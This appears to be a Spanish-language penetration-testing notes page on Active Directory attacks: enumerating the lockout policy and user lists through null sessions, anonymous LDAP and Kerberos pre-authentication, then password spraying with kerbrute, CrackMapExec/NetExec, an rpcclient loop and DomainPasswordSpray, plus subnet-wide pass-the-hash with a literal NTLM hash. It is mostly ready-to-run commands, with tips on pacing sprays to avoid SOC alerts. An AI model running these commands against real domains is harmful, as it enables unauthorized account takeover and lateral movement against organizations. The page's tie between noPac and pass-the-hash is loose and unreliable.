Skip to content

Hunting for a User — Password Policy & Spraying

Por qué enumerar la política de contraseñas primero

Antes de intentar cualquier fuerza bruta o password spraying contra cuentas de dominio, es indispensable conocer la política de bloqueo de cuentas (lockoutThreshold, número de intentos fallidos permitidos antes de bloquear una cuenta). Lanzar un spray sin esta información puede bloquear masivamente cuentas de usuarios legítimos, generando una interrupción real del negocio (y alertando al equipo defensor) — es uno de los errores más comunes y evitables en esta fase.

Enumeración de la política de contraseñas

Desde Linux

Con credenciales válidas, usando CrackMapExec/NetExec:

c
❯ crackmapexec smb 172.16.5.5 -u mgarcia -p Password123 --pass-pol

Equivalente con NetExec (sucesor de CrackMapExec, ver smb.md):

c
❯ nxc smb 172.16.5.5 -u mgarcia -p Password123 --pass-pol

Sin credenciales, vía sesión nula con rpcclient:

c
❯ rpcclient -U "" -N 172.16.5.5
rpcclient $> querydominfo
rpcclient $> getdompwinfo
rpcclient $> enumdomusers
  • querydominfo : muestra información general del dominio, incluyendo número total de usuarios/grupos.
  • getdompwinfo : muestra específicamente la política de contraseñas (longitud mínima, complejidad).
  • Que estos comandos funcionen sin credenciales (-U "" -N, sesión nula) es en sí mismo un hallazgo de configuración débil a documentar.

Con enum4linux:

c
❯ enum4linux -P 172.16.5.5

Con enum4linux-ng (salida más limpia y estructurada, exportable a varios formatos):

c
❯ enum4linux-ng -P 172.16.5.5 -oA empresacorp
  • -oA : exporta la salida en todos los formatos disponibles (YAML, JSON) con el prefijo indicado, útil para procesar los resultados con otras herramientas después.

Vía sesión LDAP anónima (si el bind anónimo está permitido — otro hallazgo de configuración débil por sí mismo):

c
❯ ldapsearch -H ldap://172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

Interpretando los atributos LDAP de la política

AtributoSignificado
lockoutThresholdNúmero de intentos fallidos antes de bloquear la cuenta. 0 significa que el bloqueo está deshabilitado — luz verde para fuerza bruta más agresiva.
lockoutDurationCuánto tiempo permanece bloqueada la cuenta tras alcanzar el umbral.
lockOutObservationWindowVentana de tiempo en la que se cuentan los intentos fallidos — si el contador se resetea cada 30 min y el umbral es 5, se pueden hacer hasta 4 intentos cada 30 min de forma indefinida sin bloquear nunca.
minPwdLengthLongitud mínima de contraseña exigida por política — informa qué tan efectivo será un diccionario de contraseñas cortas.
pwdHistoryLengthCuántas contraseñas anteriores recuerda el sistema (relevante si se sospecha que los usuarios reciclan contraseñas con pequeñas variaciones).

Sesión nula desde Windows

c
C:\> net use \\DC01\ipc$ "" /u:""

Errores útiles para reconocimiento de estado de cuentas al intentar autenticación (incluso fallida):

Código de errorSignificado
System error 1331La cuenta está deshabilitada.
System error 1326Contraseña incorrecta (la cuenta existe y está activa).
System error 1909La cuenta está bloqueada.
  • Estos códigos permiten diferenciar, durante un spray, entre "contraseña incorrecta" (seguir intentando con otras contraseñas) y "cuenta bloqueada/deshabilitada" (excluir esa cuenta del resto del ataque para no seguir generando ruido innecesario).

Desde Windows — herramientas nativas/PowerView

c
C:\> net accounts

Con PowerView (más detallado, incluye directamente los atributos LDAP relevantes):

powershell
Import-Module .\PowerView.ps1
Get-DomainPolicy

Salida esperada (fragmento relevante):

SystemAccess                                          KerberosPolicy
-------------                                          --------------
MinimumPasswordAge             : 1
MaximumPasswordAge             : 42
MinimumPasswordLength          : 7
PasswordComplexity              : 1
LockoutBadCount                 : 5
ResetLockoutCount               : 30
LockoutDuration                 : 30
  • LockoutBadCount: 5 con ResetLockoutCount: 30 (minutos) es la política de referencia a usar para calcular el ritmo seguro del spray: máximo 4 intentos por cuenta cada 30 minutos, dejando un margen de seguridad de un intento respecto al umbral real.

Construir una lista de usuarios válidos

Vía SMB/RPC (sin autenticación)

c
❯ enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
c
❯ rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers

Con CrackMapExec/NetExec

c
❯ crackmapexec smb 172.16.5.5 --users

Con credenciales de una cuenta ya válida (obtiene más detalle, como fecha del último login):

c
❯ crackmapexec smb 172.16.5.5 -u jsmith -p 'Password123!' --users

Vía LDAP anónimo

c
❯ ldapsearch -h 172.16.5.5 -x -b "DC=EMPRESACORP,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

windapsearch

c
❯ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U

Kerbrute — validación sin generar eventos de login fallido

Kerbrute abusa de la fase de pre-autenticación de Kerberos para validar si un nombre de usuario existe, sin llegar a intentar autenticación completa — esto es clave porque un intento de pre-autenticación fallido por usuario inexistente genera un tipo de evento distinto (y mucho menos monitoreado en la práctica) que un fallo de contraseña sobre un usuario real:

c
# Enumerar usuarios y guardar el resultado en un archivo
❯ kerbrute userenum -d EMPRESACORP.LOCAL --dc 172.16.5.5 usuarios_candidatos.txt -o valid_users.txt

# Sin archivo de salida (solo por pantalla)
❯ kerbrute userenum -d empresacorp.local --dc 172.16.5.5 /opt/usuarios_candidatos.txt
  • Si Kerbrute encuentra un usuario configurado sin requerir pre-autenticación (Do not require Kerberos preauthentication habilitado en la cuenta — una configuración débil común), vuelca automáticamente el AS-REP de esa cuenta, que puede crackearse offline (AS-REP Roasting) sin haber enviado ni un solo intento de contraseña.

Fuentes de nombres de usuario candidatos

Cuando no se dispone de una lista previa de usuarios reales, generar candidatos plausibles a partir de patrones comunes de nomenclatura corporativa (nombre.apellido, inicial+apellido, etc.):

  • statistically-likely-usernames — genera variantes de nombre de usuario a partir de nombres/apellidos reales (obtenidos por OSINT, ver ad_initial_enumeration.md).
  • linkedin2username — extrae nombres de empleados directamente desde el perfil de LinkedIn de la organización objetivo y genera variantes de username.

Password Spraying

Password spraying prueba una contraseña (o un pequeño conjunto) contra muchos usuarios, respetando siempre el umbral de bloqueo calculado en la primera sección — la contraparte segura de la fuerza bruta tradicional (muchas contraseñas contra un solo usuario, que sí dispara bloqueos rápidamente).

Desde Linux

Bash one-liner con rpcclient (útil como método sin dependencias adicionales, aunque más lento que las herramientas dedicadas):

c
for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done

Con Kerbrute (más rápido, aprovecha el mismo mecanismo de pre-autenticación Kerberos):

c
❯ kerbrute passwordspray -d empresacorp.local --dc 172.16.5.5 valid_users.txt Welcome1

Con CrackMapExec, probando la misma contraseña contra toda la lista de usuarios:

c
❯ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
  • grep + : CME marca los intentos exitosos con un [+] al inicio de la línea — filtrar por esto muestra solo las credenciales válidas encontradas, ocultando el ruido de los cientos de intentos fallidos.

Con NetExec (sintaxis equivalente, sucesor de CME):

c
❯ nxc smb 172.16.5.5 -u valid_users.txt -p Password123 --continue-on-success
  • --continue-on-success : indispensable en spraying — sin este flag, algunas versiones detienen el ataque en el primer usuario válido encontrado, cuando en realidad se busca encontrar todas las cuentas que coincidan con esa contraseña común.

Verificar una credencial puntual ya obtenida:

c
❯ sudo crackmapexec smb 172.16.5.5 -u mgarcia -p Password123

Validar si un hash de administrador local (obtenido por otro medio, por ejemplo secretsdump.py) se reutiliza en toda una subred — un patrón extremadamente común cuando las máquinas se despliegan desde la misma imagen base sin randomizar la contraseña de administrador local:

c
❯ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
  • --local-auth : indica que la autenticación es contra la cuenta local de cada máquina (SAM local), no contra el dominio — necesario porque el mismo nombre administrator y hash pueden ser válidos en decenas de hosts simultáneamente si comparten imagen base (relevante para la técnica conocida como "Pass-the-Hash a escala", relacionada con vulnerabilidades como CVE-2021-42287/noPac o simplemente mala higiene operativa).

Desde Windows — DomainPasswordSpray.ps1

powershell
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
  • Construye automáticamente la lista de usuarios consultando el dominio actual (no requiere una lista pre-generada), y respeta la política de bloqueo detectada automáticamente, deteniéndose antes de arriesgar bloqueos — es la opción más "segura por defecto" cuando se opera desde un contexto ya autenticado en el dominio.

Probar una lista de contraseñas comunes en vez de una sola (rotando entre ellas con el intervalo adecuado):

powershell
Invoke-DomainPasswordSpray -PasswordList .\passwords.txt -OutFile spray_success -ErrorAction SilentlyContinue

Notas de metodología

  • Siempre recalcular el ritmo seguro del spray tomando el valor de lockoutThreshold y dejando al menos un intento de margen (si el umbral es 5, usar máximo 3-4 intentos por cuenta dentro de la ventana de observación).
  • Priorizar contraseñas estacionales/corporativas plausibles sobre diccionarios genéricos como primer intento (Bienvenido2025!, NombreEmpresa123, Verano2025) — suelen tener mayor tasa de éxito que rockyou.txt completo en el primer intento de spray, con mucho menor riesgo de bloqueo masivo.
  • Espaciar los sprays en el tiempo (por ejemplo, un intento por contraseña cada varias horas, o incluso distribuido en varios días) si el alcance del engagement lo permite — además de evitar bloqueos, reduce significativamente la probabilidad de generar alertas de SOC por volumen anómalo de intentos de autenticación en un corto periodo.
  • Documentar claramente en el reporte cuál fue el lockoutThreshold observado y cómo se calculó el ritmo del ataque, como evidencia de que la prueba se realizó de forma controlada y no arriesgó una interrupción real del servicio para la organización.